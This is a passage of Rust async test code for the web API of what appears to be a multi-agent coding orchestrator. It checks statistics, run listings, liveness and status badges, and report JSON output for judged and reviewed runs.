14978 async fn stats_queue_counts_come_from_the_live_queue() {
14979 let f = Fixture::start().await;
14980 let q = f.queue();
14981 let mut queued = Task::new(
14982 "queued task".to_owned(),
14983 "do it".to_owned(),
14984 PathBuf::from("/repo"),
14985 Source::Human,
14986 );
14987 q.put(&mut queued).expect("put queued");
14988 let mut held = Task::new(
14989 "held task".to_owned(),
14990 "do it later".to_owned(),
14991 PathBuf::from("/repo"),
14992 Source::Human,
14993 );
14994 held.hold_machine(Some("out of attempts".to_owned()));
14995 q.put(&mut held).expect("put held");
14996
14997 let queue = f.get("/api/stats").await.json()["queue"].clone();
14998 assert_eq!(queue["queued"], 1);
14999 assert_eq!(queue["held"], 1);
15000 assert_eq!(queue["running"], 0);
15001 assert_eq!(queue["done"], 0);
15002 assert_eq!(queue["failed"], 0);
15003 assert_eq!(queue["blocked"], 0);
15004 }
15005
15006 #[tokio::test]
15007 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
15008 let f = Fixture::start().await;
15009 let stats = f.get("/api/stats").await;
15010 assert_eq!(stats.status, 200);
15011 assert_eq!(stats.json()["totals"]["runs"], 0);
15012 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
15013 assert_eq!(stats.json()["runs_unreadable"], 0);
15014 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
15015 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
15016 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
15017 assert_eq!(stats.json()["repo"], Value::Null);
15018 }
15019
15020 #[tokio::test]
15021 async fn stats_lists_every_repository_with_runs_recorded() {
15022 let f = Fixture::start().await;
15023 write_run_repo(
15024 &f.runs(),
15025 "20260902-140501-a",
15026 RunStatus::Merged,
15027 "/repos/a",
15028 );
15029 write_run_repo(
15030 &f.runs(),
15031 "20260902-140502-b",
15032 RunStatus::Merged,
15033 "/repos/a",
15034 );
15035 write_run_repo(
15036 &f.runs(),
15037 "20260902-140503-c",
15038 RunStatus::Blocked,
15039 "/repos/b",
15040 );
15041
15042 let stats = f.get("/api/stats").await;
15043 assert_eq!(stats.status, 200);
15044 assert_eq!(stats.json()["totals"]["runs"], 3);
15046 assert_eq!(stats.json()["repo"], Value::Null);
15047
15048 let repos = stats.json()["repos"].clone();
15049 let repos = repos.as_array().unwrap();
15050 assert_eq!(repos.len(), 2);
15051 assert_eq!(repos[0]["repo"], "/repos/a");
15053 assert_eq!(repos[0]["name"], "a");
15054 assert_eq!(repos[0]["runs"], 2);
15055 assert_eq!(repos[1]["repo"], "/repos/b");
15056 assert_eq!(repos[1]["runs"], 1);
15057 }
15058
15059 #[tokio::test]
15060 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
15061 let f = Fixture::start().await;
15062 write_run_repo(
15063 &f.runs(),
15064 "20260902-140501-a",
15065 RunStatus::Merged,
15066 "/repos/a",
15067 );
15068 write_run_repo(
15069 &f.runs(),
15070 "20260902-140502-b",
15071 RunStatus::Blocked,
15072 "/repos/b",
15073 );
15074
15075 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
15076 assert_eq!(stats.status, 200);
15077 assert_eq!(stats.json()["totals"]["runs"], 1);
15078 assert_eq!(stats.json()["totals"]["merged"], 1);
15079 assert_eq!(stats.json()["repo"], "/repos/a");
15080 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
15083 assert_eq!(stats.json()["runs_unreadable"], 0);
15086 }
15087
15088 #[tokio::test]
15089 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
15090 let f = Fixture::start().await;
15091 write_run_repo(
15092 &f.runs(),
15093 "20260902-140501-a",
15094 RunStatus::Merged,
15095 "/repos/a",
15096 );
15097 write_run_repo(
15098 &f.runs(),
15099 "20260902-140502-b",
15100 RunStatus::Merged,
15101 "/repos/b",
15102 );
15103
15104 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
15105 let json = f.get(uri).await.json();
15106 let daily = json["daily"].as_array().expect("daily is an array");
15107 assert_eq!(daily.len(), 30);
15108 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
15109 let mut sorted = dates.clone();
15110 sorted.sort();
15111 assert_eq!(dates, sorted);
15112 for d in daily {
15113 assert_eq!(
15114 d["merged"].as_u64().unwrap()
15115 + d["ready"].as_u64().unwrap()
15116 + d["other"].as_u64().unwrap(),
15117 d["runs"].as_u64().unwrap()
15118 );
15119 }
15120 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
15121 }
15122 }
15123
15124 #[tokio::test]
15125 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
15126 let f = Fixture::start().await;
15127 write_run_repo(
15128 &f.runs(),
15129 "20260902-140501-a",
15130 RunStatus::Merged,
15131 "/repos/a",
15132 );
15133
15134 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
15135 assert_eq!(stats.status, 404);
15136 }
15137
15138 #[tokio::test]
15139 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
15140 let f = Fixture::start().await;
15141 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
15142
15143 let summary = f.get("/api/runs").await.json();
15144 let row = &summary[0];
15145 assert_eq!(row["short"], "a1b2");
15146 assert_eq!(row["status"], "ready");
15147 assert_eq!(row["done"], true);
15148 assert_eq!(row["title"], "Add a web UI");
15149 assert_eq!(row["repo_name"], "magi");
15150 assert_eq!(row["judges"], 3);
15151 assert_eq!(row["winner"], Value::Null);
15152 assert_eq!(row["reviews"], 0);
15153
15154 let detail = f.get("/api/runs/a1b2").await;
15157 assert_eq!(detail.status, 200);
15158 assert_eq!(detail.json()["base_branch"], "main");
15159 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
15160 }
15161
15162 #[tokio::test]
15170 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
15171 let f = Fixture::start().await;
15172
15173 let mut none_run = RunState::new(
15174 PathBuf::from("/repo/magi"),
15175 "main".to_owned(),
15176 "0123456789abcdef".to_owned(),
15177 "Add a web UI".to_owned(),
15178 Config::default(),
15179 );
15180 none_run.id = "20260902-140503-none".to_owned();
15181 none_run.status = RunStatus::Ready;
15182 none_run.merge = Some(crate::run::MergeOutcome {
15183 mode: crate::config::MergeMode::None,
15184 ok: true,
15185 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
15186 empty: false,
15187 });
15188 write_state(&f.runs(), &none_run);
15189
15190 let mut pr_run = RunState::new(
15191 PathBuf::from("/repo/magi"),
15192 "main".to_owned(),
15193 "0123456789abcdef".to_owned(),
15194 "Add a web UI".to_owned(),
15195 Config::default(),
15196 );
15197 pr_run.id = "20260902-140504-prcl".to_owned();
15198 pr_run.status = RunStatus::Ready;
15199 pr_run.merge = Some(crate::run::MergeOutcome {
15200 mode: crate::config::MergeMode::Pr,
15201 ok: false,
15202 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
15203 empty: false,
15204 });
15205 write_state(&f.runs(), &pr_run);
15206
15207 let summary = f.get("/api/runs").await.json();
15208 let rows: std::collections::HashMap<&str, &Value> = summary
15209 .as_array()
15210 .expect("an array")
15211 .iter()
15212 .map(|r| (r["id"].as_str().expect("an id"), r))
15213 .collect();
15214 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
15215 assert_eq!(
15216 rows[none_run.id.as_str()]["unmerged_by_design"],
15217 true,
15218 "a mode-none Ready must be flagged in the list"
15219 );
15220 assert_eq!(
15221 rows[pr_run.id.as_str()]["unmerged_by_design"],
15222 false,
15223 "a Ready reached by a closed pull request is a different case"
15224 );
15225
15226 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
15227 assert_eq!(none_detail["status"], "ready");
15228 assert_eq!(none_detail["unmerged_by_design"], true);
15229
15230 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
15231 assert_eq!(pr_detail["unmerged_by_design"], false);
15232 }
15233
15234 #[tokio::test]
15239 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
15240 let f = Fixture::start().await;
15241 let id = "20260902-140502-bbbb";
15245 let mut state = RunState::new(
15246 PathBuf::from("/repo/magi"),
15247 "main".to_owned(),
15248 "0123456789abcdef".to_owned(),
15249 "Add a web UI".to_owned(),
15250 Config::default(),
15251 );
15252 state.id = id.to_owned();
15253 state.status = RunStatus::Judging;
15254 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
15255 let dir = f.runs().join(id);
15256 std::fs::create_dir_all(&dir).expect("run dir");
15257 std::fs::write(
15258 dir.join("run.json"),
15259 serde_json::to_string_pretty(&state).expect("serialize run"),
15260 )
15261 .expect("write run.json");
15262
15263 let cold = f.get(&format!("/api/runs/{id}")).await.json();
15269 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
15270 assert_eq!(cold["live"], "unknown", "{cold}");
15271
15272 write_daemon(f.home.path(), Timestamp::now());
15275 let warm = f.get(&format!("/api/runs/{id}")).await.json();
15276 assert_eq!(warm["live"], "live", "{warm}");
15277 }
15278
15279 #[tokio::test]
15282 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
15283 let f = Fixture::start().await;
15284 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
15285 let mut state = RunState::new(
15286 PathBuf::from("/repo/magi"),
15287 "main".to_owned(),
15288 "0123456789abcdef".to_owned(),
15289 "Add a web UI".to_owned(),
15290 Config::default(),
15291 );
15292 state.id = id.to_owned();
15293 state.origin = origin;
15294 let mut value = serde_json::to_value(&state).expect("serialize run");
15295 if let Some(schema) = schema {
15296 value["schema"] = serde_json::json!(schema);
15297 value.as_object_mut().unwrap().remove("origin");
15298 }
15299 let dir = f.runs().join(id);
15300 std::fs::create_dir_all(&dir).expect("run dir");
15301 std::fs::write(dir.join("run.json"), value.to_string()).expect("write run.json");
15302 };
15303 write(
15304 "20260930-092817-ec34",
15305 Some(crate::run::Origin::from_agent_env(
15306 Some(("4a7b".to_owned(), "chat".to_owned())),
15307 None,
15308 )),
15309 None,
15310 );
15311 write("20260930-092817-0ld1", None, Some(12));
15312
15313 let new = f.get("/api/runs/20260930-092817-ec34").await.json();
15314 assert_eq!(new["origin_label"], "chat 4a7b", "{new}");
15315 assert_eq!(new["origin"]["by"]["kind"], "chat", "{new}");
15316
15317 let old = f.get("/api/runs/20260930-092817-0ld1").await.json();
15318 assert_eq!(
15319 old["origin_label"], "origin unknown (started before origins were recorded)",
15320 "{old}"
15321 );
15322 assert!(old["origin"].is_null(), "{old}");
15323
15324 let list = f.get("/api/runs").await.json();
15325 let labels: Vec<_> = list
15326 .as_array()
15327 .unwrap()
15328 .iter()
15329 .map(|r| r["origin_label"].as_str().unwrap().to_owned())
15330 .collect();
15331 assert!(labels.contains(&"chat 4a7b".to_owned()), "{list}");
15332 }
15333
15334 #[tokio::test]
15341 async fn run_detail_reads_a_manual_run_with_a_live_driver_pid_as_live_without_a_daemon() {
15342 let f = Fixture::start().await;
15343 let id = "20260922-090000-cccc";
15344 let mut state = RunState::new(
15345 PathBuf::from("/repo/magi"),
15346 "main".to_owned(),
15347 "0123456789abcdef".to_owned(),
15348 "Review only".to_owned(),
15349 Config::default(),
15350 );
15351 state.id = id.to_owned();
15352 state.status = RunStatus::Reviewing;
15353 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
15354 state.driver_pid = Some(std::process::id());
15360 state.driver_started_at = Some(
15361 crate::proc::process_started_at(std::process::id())
15362 .expect("this test process's own start time must be queryable"),
15363 );
15364 let dir = f.runs().join(id);
15365 std::fs::create_dir_all(&dir).expect("run dir");
15366 std::fs::write(
15367 dir.join("run.json"),
15368 serde_json::to_string_pretty(&state).expect("serialize run"),
15369 )
15370 .expect("write run.json");
15371
15372 let detail = f.get(&format!("/api/runs/{id}")).await.json();
15373 assert_eq!(detail["live"], "live", "{detail}");
15374 }
15375
15376 #[tokio::test]
15382 async fn run_detail_reads_a_live_pid_as_dead_once_its_start_time_no_longer_matches() {
15383 let f = Fixture::start().await;
15384 let id = "20260922-090100-dddd";
15385 let mut state = RunState::new(
15386 PathBuf::from("/repo/magi"),
15387 "main".to_owned(),
15388 "0123456789abcdef".to_owned(),
15389 "Review only".to_owned(),
15390 Config::default(),
15391 );
15392 state.id = id.to_owned();
15393 state.status = RunStatus::Reviewing;
15394 state.seat_started("review", "review-1", std::time::Duration::from_secs(120), 0);
15395 state.driver_pid = Some(std::process::id());
15400 state.driver_started_at = Some("1".to_owned());
15401 let dir = f.runs().join(id);
15402 std::fs::create_dir_all(&dir).expect("run dir");
15403 std::fs::write(
15404 dir.join("run.json"),
15405 serde_json::to_string_pretty(&state).expect("serialize run"),
15406 )
15407 .expect("write run.json");
15408
15409 let detail = f.get(&format!("/api/runs/{id}")).await.json();
15410 assert_eq!(detail["live"], "dead", "{detail}");
15411 }
15412
15413 #[test]
15417 fn summarize_asks_about_each_pid_once_and_keeps_the_row_meaning() {
15418 let mk = |id: &str, pid: Option<u32>| {
15419 let mut s = RunState::new(
15420 PathBuf::from("/repo/magi"),
15421 "main".to_owned(),
15422 "0123456789abcdef".to_owned(),
15423 "Add a web UI".to_owned(),
15424 Config::default(),
15425 );
15426 s.id = id.to_owned();
15427 s.driver_pid = pid;
15428 s.driver_started_at = Some("1790000000".to_owned());
15429 s
15430 };
15431 let states = vec![
15432 mk("20260902-140502-aaaa", Some(77)),
15433 mk("20260902-140502-bbbb", Some(77)),
15434 mk("20260902-140502-cccc", Some(77)),
15435 mk("20260902-140502-dddd", None),
15436 ];
15437 let open: HashSet<String> = ["20260902-140502-bbbb".to_owned()].into();
15438 let claimed: HashSet<String> = ["20260902-140502-dddd".to_owned()].into();
15439 let sup: HashMap<String, String> = [(
15440 "20260902-140502-aaaa".to_owned(),
15441 "20260902-140502-cccc".to_owned(),
15442 )]
15443 .into();
15444
15445 let status_calls = std::cell::Cell::new(0);
15446 let identity_calls = std::cell::Cell::new(0);
15447 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::new(
15448 |_| {
15449 status_calls.set(status_calls.get() + 1);
15450 Some(true)
15451 },
15452 |_| {
15453 identity_calls.set(identity_calls.get() + 1);
15454 Some("1790000000".to_owned())
15455 },
15456 ));
15457 let rows = summarize(
15458 states,
15459 &open,
15460 &claimed,
15461 &sup,
15462 |p| probe.borrow_mut().status(p),
15463 |p| probe.borrow_mut().started_at(p),
15464 );
15465
15466 assert_eq!(status_calls.get(), 1, "one pid, one status query");
15467 assert_eq!(identity_calls.get(), 1, "one pid, one identity query");
15468 assert_eq!(rows.len(), 4);
15469 assert!(!rows[0].waiting && rows[1].waiting);
15470 assert_eq!(rows[0].live, crate::run::Liveness::Live);
15471 assert_eq!(rows[3].live, crate::run::Liveness::Live, "claim alone");
15472 assert_eq!(rows[0].superseded_by.as_deref(), Some("cccc"));
15473 assert_eq!(rows[1].superseded_by, None);
15474 }
15475
15476 #[test]
15477 fn run_list_exposes_a_confirmed_dead_driver_for_stale_presentation() {
15478 let mut state = RunState::new(
15479 PathBuf::from("/repo/magi"),
15480 "main".to_owned(),
15481 "0123456789abcdef".to_owned(),
15482 "Review only".to_owned(),
15483 Config::default(),
15484 );
15485 state.id = "20260922-090200-dead".to_owned();
15486 state.status = RunStatus::Reviewing;
15487 let row = serde_json::to_value(RunSummary::of(&state, false, crate::run::Liveness::Dead))
15488 .expect("serialize list row");
15489 assert_eq!(row["status"], "reviewing");
15490 assert_eq!(row["display_status"], "stale");
15491 assert_eq!(row["live"], "dead", "{row}");
15492 assert!(!row["done"].as_bool().unwrap());
15493 }
15494
15495 #[test]
15496 fn run_display_status_distinguishes_park_crash_and_owner_wait() {
15497 use crate::run::Liveness::{Dead, Live, Unknown};
15498 let mut state = RunState::new(
15499 PathBuf::from("/repo/magi"),
15500 "main".to_owned(),
15501 "abc".to_owned(),
15502 "Review only".to_owned(),
15503 Config::default(),
15504 );
15505 for (status, parked, node, waiting, live, expected) in [
15506 (
15507 RunStatus::Judging,
15508 true,
15509 "github-text",
15510 false,
15511 Dead,
15512 "parked",
15513 ),
15514 (RunStatus::Judging, false, "park", false, Dead, "stale"),
15515 (RunStatus::Judging, false, "judge", false, Dead, "stale"),
15516 (
15517 RunStatus::Judging,
15518 true,
15519 "github-text",
15520 true,
15521 Dead,
15522 "waiting",
15523 ),
15524 (
15525 RunStatus::Judging,
15526 false,
15527 "github-text",
15528 true,
15529 Dead,
15530 "waiting",
15531 ),
15532 (
15533 RunStatus::Judging,
15534 false,
15535 "github-text",
15536 false,
15537 Dead,
15538 "stale",
15539 ),
15540 (RunStatus::Judging, false, "resume", false, Dead, "stale"),
15541 (RunStatus::Judging, true, "park", false, Live, "judging"),
15542 (RunStatus::Judging, true, "park", false, Unknown, "judging"),
15543 (RunStatus::Merged, true, "park", false, Dead, "merged"),
15544 (RunStatus::Blocked, true, "park", false, Dead, "blocked"),
15545 (
15546 RunStatus::Blocked,
15547 true,
15548 "github-text",
15549 true,
15550 Dead,
15551 "waiting",
15552 ),
15553 ] {
15554 state.status = status;
15555 state.parked = parked;
15556 state.events.clear();
15557 state.event(
15558 "park",
15559 "an earlier park does not determine the latest state",
15560 );
15561 state.event(node, "message is not used for classification");
15562 let summary = RunSummary::of(&state, waiting, live);
15563 let detail = RunDetailView::of(state.clone(), waiting, live, None, None, None);
15564 assert_eq!(
15565 summary.display_status, expected,
15566 "{status:?}/{node}/{live:?}"
15567 );
15568 assert_eq!(detail.display_status, summary.display_status);
15569 assert_eq!(detail.waiting, summary.waiting);
15570 }
15571 state.status = RunStatus::Judging;
15572 state.parked = false;
15573 state.events.clear();
15574 assert_eq!(run_display_status(&state, false, Dead), "stale");
15575 }
15576
15577 #[test]
15578 fn badge_status_prefers_superseded_then_stale_and_spares_live_and_terminal() {
15579 use crate::run::Liveness::{Dead, Live, Unknown};
15580 let mut state = RunState::new(
15581 PathBuf::from("/repo/magi"),
15582 "main".to_owned(),
15583 "abc".to_owned(),
15584 "Badge".to_owned(),
15585 Config::default(),
15586 );
15587 for (status, waiting, live, superseded, expected) in [
15588 (RunStatus::Gating, false, Dead, false, "stale"),
15589 (RunStatus::Gating, false, Dead, true, "superseded"),
15590 (RunStatus::Gating, false, Unknown, true, "superseded"),
15591 (RunStatus::Gating, true, Dead, true, "superseded"),
15592 (RunStatus::Gating, true, Dead, false, "waiting"),
15593 (RunStatus::Gating, false, Unknown, false, "gating"),
15594 (RunStatus::Gating, false, Live, true, "gating"),
15595 (RunStatus::Gating, true, Live, true, "waiting"),
15596 (RunStatus::Merged, false, Dead, true, "merged"),
15597 (RunStatus::Blocked, false, Dead, true, "blocked"),
15598 ] {
15599 state.status = status;
15600 let display = run_display_status(&state, waiting, live);
15601 assert_eq!(
15602 run_badge_status(&state, &display, live, superseded),
15603 expected,
15604 "{status:?}/{live:?}/superseded={superseded}"
15605 );
15606 }
15607 }
15608
15609 #[test]
15610 fn summarize_and_detail_expose_badge_status() {
15611 use crate::run::Liveness::Dead;
15612 let mut state = RunState::new(
15613 PathBuf::from("/repo/magi"),
15614 "main".to_owned(),
15615 "abc".to_owned(),
15616 "Badge".to_owned(),
15617 Config::default(),
15618 );
15619 state.status = RunStatus::Gating;
15620 let none = HashSet::new();
15621 let id = state.id.clone();
15622 let mut by = HashMap::new();
15623 let rows = summarize(
15624 [state.clone()],
15625 &none,
15626 &none,
15627 &by,
15628 |_| Some(false),
15629 |_| None,
15630 );
15631 assert_eq!(rows[0].badge_status, rows[0].display_status);
15633 by.insert(id, "20260901-000000-913b".to_owned());
15634 let detail = RunDetailView::of(
15635 state.clone(),
15636 false,
15637 Dead,
15638 Some("913b".to_owned()),
15639 None,
15640 None,
15641 );
15642 assert_eq!(detail.badge_status, "superseded");
15643 let json = serde_json::to_value(&detail).unwrap();
15644 assert_eq!(json["badge_status"], "superseded");
15645 let detail = RunDetailView::of(state, false, Dead, None, None, None);
15646 assert_eq!(detail.badge_status, "stale");
15647 }
15648
15649 #[tokio::test]
15650 async fn run_display_status_routes_share_the_open_question_store() {
15651 let f = Fixture::start().await;
15652 let id = "20260922-090200-abcd";
15653 write_run(&f.runs(), id, RunStatus::Judging);
15654 let mut state = read_run(&f.runs(), id).unwrap();
15655 state.parked = true;
15656 state.driver_exited = true;
15657 state.event("github-text", "waiting for the owner");
15658 state.save_under(f.home.path()).unwrap();
15659 let mut task = Task::new(
15660 "resumed task".to_owned(),
15661 "do it".to_owned(),
15662 PathBuf::from("/repo"),
15663 Source::Human,
15664 );
15665 task.runs = vec![id.to_owned(), id.to_owned()];
15666 f.queue().put(&mut task).unwrap();
15667 let store = f.questions();
15668 let mut q = Question::new(
15669 id.to_owned(),
15670 "github-text".to_owned(),
15671 "owner".to_owned(),
15672 "Approve the text?".to_owned(),
15673 String::new(),
15674 Vec::new(),
15675 );
15676 store.put(&mut q).unwrap();
15677 for expected in ["waiting", "parked"] {
15678 let list = f.get("/api/runs").await.json();
15679 let detail = f.get(&format!("/api/runs/{id}")).await.json();
15680 assert_eq!(list[0]["display_status"], expected);
15681 assert_eq!(detail["display_status"], expected);
15682 assert_eq!(detail["waiting"], list[0]["waiting"]);
15683 assert_eq!(list[0]["badge_status"], expected);
15684 assert_eq!(detail["badge_status"], expected);
15685 assert!(list[0]["superseded_by"].is_null());
15686 assert!(detail["superseded_by"].is_null());
15687 let task_detail = f.get(&format!("/api/queue/{}", task.id)).await.json();
15688 let history = task_detail["history"].as_array().unwrap();
15689 assert_eq!(history.len(), 2);
15690 assert!(history[0]["badge"].is_null());
15691 assert_eq!(history[1]["badge"], expected);
15692 q.status = ask::QuestionStatus::Answered;
15693 store.put(&mut q).unwrap();
15694 }
15695 }
15696
15697 #[tokio::test]
15698 async fn a_resumed_crashed_driver_is_stale_despite_its_last_park_event() {
15699 let f = Fixture::start().await;
15700 let id = "20260922-090200-abcd";
15701 write_run(&f.runs(), id, RunStatus::Judging);
15702 let mut state = read_run(&f.runs(), id).unwrap();
15703 state.parked = true;
15704 state.driver_exited = true;
15705 state.event("park", "stopped at a node boundary");
15706 state.save_under(f.home.path()).unwrap();
15707
15708 for expected in ["parked", "stale"] {
15709 let list = f.get("/api/runs").await.json();
15710 let detail = f.get(&format!("/api/runs/{id}")).await.json();
15711 assert_eq!(list[0]["live"], "dead");
15712 assert_eq!(list[0]["display_status"], expected);
15713 assert_eq!(detail["display_status"], expected);
15714 state.parked = false;
15717 state.save_under(f.home.path()).unwrap();
15718 }
15719 }
15720
15721 #[tokio::test]
15722 async fn the_run_list_is_newest_first_and_honours_a_limit() {
15723 let f = Fixture::start().await;
15724 for id in [
15725 "20260902-140501-aaaa",
15726 "20260902-140502-bbbb",
15727 "20260902-140503-cccc",
15728 ] {
15729 write_run(&f.runs(), id, RunStatus::Merged);
15730 }
15731
15732 let all = f.get("/api/runs").await.json();
15733 let capped = f.get("/api/runs?limit=2").await.json();
15734
15735 assert_eq!(all[0]["id"], "20260902-140503-cccc");
15736 assert_eq!(all.as_array().map(Vec::len), Some(3));
15737 assert_eq!(capped.as_array().map(Vec::len), Some(2));
15738 assert_eq!(capped[0]["id"], "20260902-140503-cccc");
15739 }
15740
15741 #[tokio::test]
15742 async fn the_report_route_serves_the_terminal_report_as_plain_text() {
15743 let f = Fixture::start().await;
15744 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Blocked);
15745
15746 let res = f.get("/api/runs/20260902-140501-a1b2/report").await;
15747
15748 assert_eq!(res.status, 200);
15749 assert!(
15750 res.headers
15751 .contains("content-type: text/plain; charset=utf-8"),
15752 "a browser must render it, not download it: {}",
15753 res.headers
15754 );
15755 assert!(
15759 res.body.contains("20260902-140501-a1b2"),
15760 "the report is about the run that was asked for: {}",
15761 res.body
15762 );
15763 }
15764
15765 #[tokio::test]
15766 async fn the_report_json_route_serves_sections_and_never_hides_an_unreadable_run() {
15767 crate::run::pin_test_home();
15769 let f = Fixture::start().await;
15770 let id = "20260902-140501-a1b2";
15771 write_run(&f.runs(), id, RunStatus::Stalled);
15772 let path = f.runs().join(id).join("run.json");
15775 let mut v: serde_json::Value =
15776 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
15777 v["tally"] = serde_json::json!({
15778 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
15779 "unanimous_initial": true, "deliberated": false, "changed_votes": 0,
15780 "unanimous_final": true, "judges": 3, "present": 1, "quorum": 2,
15781 "met_quorum": false, "rankings": 1
15782 });
15783 v["reviews"] = serde_json::json!([{
15784 "round": 1, "head": "abcdef0123", "answered": 1, "expected": 1, "blocking": 1,
15785 "e2e_deferred": true,
15786 "reviews": [{"reviewer": 1, "agent": "a", "findings": [
15787 {"id": "R1-1-1", "severity": "major", "title": "t", "file": "src/a.rs", "line": 3}
15788 ]}]
15789 }]);
15790 std::fs::write(&path, v.to_string()).unwrap();
15791 write_run(&f.runs(), "20260902-140502-dead", RunStatus::Blocked);
15792 std::fs::write(
15793 f.runs().join("20260902-140502-dead").join("run.json"),
15794 "{not json",
15795 )
15796 .unwrap();
15797
15798 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
15799
15800 assert_eq!(res.status, 200, "{}", res.body);
15801 assert!(res.headers.contains("content-type: application/json"));
15802 let j = res.json();
15803 assert_eq!(j["schema"], 1);
15804 assert_eq!(j["header"]["id"], id);
15805 assert_eq!(j["header"]["tone"], "warn", "a stalled run is never ok");
15806 let kinds: Vec<&str> = j["sections"]
15807 .as_array()
15808 .unwrap()
15809 .iter()
15810 .map(|s| s["kind"].as_str().unwrap())
15811 .collect();
15812 assert_eq!(kinds, ["candidates", "tally", "review"]);
15813 let tally = &j["sections"][1]["tally"];
15814 assert_eq!(
15815 (tally["decided"].clone(), tally["provisional"].clone()),
15816 (false.into(), true.into())
15817 );
15818 let round = &j["sections"][2]["rounds"][0];
15819 assert_eq!(round["e2e"]["state"], "deferred");
15820 assert_eq!(round["findings"][0]["severity"], "major");
15821 assert_eq!(round["findings"][0]["blocking"], true);
15822 assert_eq!(round["findings"][0]["state"], "open");
15823
15824 assert_eq!(f.get(&format!("/api/runs/{id}/report")).await.status, 200);
15826
15827 let bad = f.get("/api/runs/20260902-140502-dead/report.json").await;
15829 assert_ne!(bad.status, 200, "{}", bad.body);
15830 assert_eq!(
15831 bad.status,
15832 f.get("/api/runs/20260902-140502-dead/report").await.status
15833 );
15834 assert_eq!(f.get("/api/health").await.json()["runs_unreadable"], 1);
15835 assert_eq!(
15836 f.get("/api/runs/20260902-999999-ffff/report.json")
15837 .await
15838 .status,
15839 404
15840 );
15841 }
15842
15843 #[tokio::test]
15844 async fn the_report_json_route_serves_deliberation_turns_with_markdown_bodies() {
15845 crate::run::pin_test_home();
15846 let f = Fixture::start().await;
15847 let id = "20260902-140503-delib";
15848 write_run(&f.runs(), id, RunStatus::Merged);
15849 let path = f.runs().join(id).join("run.json");
15850 let mut v: serde_json::Value =
15851 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
15852 v["judgements"] = serde_json::json!([
15853 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
15854 ]);
15855 v["tally"] = serde_json::json!({
15856 "first_choice": {"A": 1}, "borda": {"A": 2}, "winner": "A",
15857 "unanimous_initial": false, "deliberated": true, "changed_votes": 0,
15858 "unanimous_final": true, "judges": 1, "present": 1, "quorum": 1,
15859 "met_quorum": true, "rankings": 1
15860 });
15861 v["deliberation"] = serde_json::json!([
15862 {
15863 "round": 1,
15864 "turns": [
15865 {
15866 "judge": 1,
15867 "agent": "judge-1",
15868 "body": "I prefer candidate **A** because it has cleaner tests.",
15869 "tentative": "A"
15870 }
15871 ]
15872 },
15873 {
15874 "round": 2,
15875 "turns": [
15876 {
15877 "judge": 1,
15878 "agent": "judge-1",
15879 "body": "Still thinking, no choice yet.",
15880 "tentative": null
15881 }
15882 ]
15883 }
15884 ]);
15885 std::fs::write(&path, v.to_string()).unwrap();
15886
15887 let res = f.get(&format!("/api/runs/{id}/report.json")).await;
15888 assert_eq!(res.status, 200, "{}", res.body);
15889 let j = res.json();
15890 let judging = j["sections"]
15891 .as_array()
15892 .unwrap()
15893 .iter()
15894 .find(|s| s["kind"] == "judging")
15895 .expect("judging section exists");
15896
15897 let delib_lines = judging["deliberation"].as_array().unwrap();
15899 assert_eq!(delib_lines.len(), 2);
15900 assert_eq!(delib_lines[0], "r1 judge 1 -> A");
15901 assert_eq!(delib_lines[1], "r2 judge 1 -> -");
15902
15903 let rounds = judging["rounds"].as_array().unwrap();
15905 assert_eq!(rounds.len(), 2);
15906 let r1_t0 = &rounds[0]["turns"][0];
15907 assert_eq!(r1_t0["judge"], 1);
15908 assert_eq!(r1_t0["agent"], "judge-1");
15909 assert_eq!(r1_t0["tentative"], "A");
15910 assert_eq!(
15911 r1_t0["body"],
15912 "I prefer candidate **A** because it has cleaner tests."
15913 );
15914 assert!(!r1_t0["body_md"].as_array().unwrap().is_empty());
15915
15916 let r2_t0 = &rounds[1]["turns"][0];
15917 assert_eq!(r2_t0["judge"], 1);
15918 assert_eq!(r2_t0["agent"], "judge-1");
15919 assert!(r2_t0["tentative"].is_null());
15920 assert_eq!(r2_t0["body"], "Still thinking, no choice yet.");
15921 assert!(!r2_t0["body_md"].as_array().unwrap().is_empty());
15922
15923 let id_empty = "20260902-140504-nodelib";
15925 write_run(&f.runs(), id_empty, RunStatus::Merged);
15926 let path_empty = f.runs().join(id_empty).join("run.json");
15927 let mut v_empty: serde_json::Value =
15928 serde_json::from_str(&std::fs::read_to_string(&path_empty).unwrap()).unwrap();
15929 v_empty["judgements"] = serde_json::json!([
15930 {"judge": 1, "agent": "judge-1", "ranking": ["A", "B"], "seat": "judge-1"}
15931 ]);
